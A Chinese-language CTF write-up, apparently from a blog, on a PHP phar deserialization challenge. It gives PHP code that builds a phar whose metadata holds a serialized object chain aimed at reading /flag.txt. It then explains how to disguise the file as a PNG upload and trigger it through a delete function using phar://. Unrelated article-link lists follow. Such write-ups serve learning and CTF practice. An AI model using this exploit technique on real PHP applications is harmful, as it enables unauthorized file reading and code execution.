步骤:

1.运行这个:

<?php
class User {
public $db;
}
class File {
public $filename;
}
class FileList {
private $files;
public function __construct() {
$file = new File();
$file->filename = "/flag.txt";
$this->files = array($file);
}
} $a = new User();
$a->db = new FileList(); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new User();
$o->db = new FileList(); $phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成一个phar.phar文件:

注意要设置:phar.readonly = Off。PS:一开始我用的是PHP7无法生成,后来改成PHP5便可以了

2.更改Content-Type为image/png然后上传

3.在delete里面读取phar得到flag

解析[phar]:

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,其中就有file_get_contents() ,所以我们可以把一个序列化的对象,储存在phar格式的文件中

将phar伪造成其他格式的文件:php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。

整体思路是:通过User调用File中的close()读取flag但是要经FileList绕一下,不然没有回显

详细走大佬连接


参考:

https://blog.csdn.net/weixin_44077544/article/details/102844554

https://www.cnblogs.com/kevinbruce656/p/11316070.html

https://xz.aliyun.com/t/2715

最新文章

  1. C++ 在容器中存放函数指针
  2. &lt;textarea&gt;使用的时候发现的两个问题的总结
  3. 洛谷P2014 TYVJ1051 选课
  4. 常用jQuery代码02
  5. [你必须知道的.NET]第一回:恩怨情仇:is和as
  6. Android中Matrix的pre post set方法理解(转载来源:Linux社区 作者:zjmdp)
  7. innerHTML在IE中报错
  8. 5.6.3.4 trim()方法
  9. 用Eclipse生成JPA元模型
  10. ThreadLocal深入理解 修订版
  11. GraphQL基础篇
  12. 关于 Angular 跨域请求携带 Cookie 的问题
  13. Flask cookie
  14. JZOJ 5602.【NOI2018模拟3.26】Cti
  15. JAVA微信公众号网页开发 —— 接收微信服务器发送的消息
  16. PLSQL基础学习-文字
  17. 用wiershark抓dns数据包
  18. linux系统编程:read,write与lseek的综合应用
  19. 360 / 小米 / 百度 随身wifi Ubuntu 下作为无线网卡使用
  20. js 动态设置 option 的selected 选项

热门文章

  1. Git 实践
  2. Java ——String 类 StringBuffer 和 StringBuilder类 随机字符
  3. Windows DiskPart
  4. jQuery源码分析系列——来自Aaron
  5. e.target与e.currentTarget的区别,事件冒泡与事件捕获 ,事件委托
  6. org.springframework.beans.BeanUtils的用法
  7. 实现简单的计算器(设计UI)
  8. [AtCoder ARC076] F Exhausted?
  9. HDU 6468 /// DFS
  10. 解决javax.servlet.jsp.JspException cannot be resolved to a type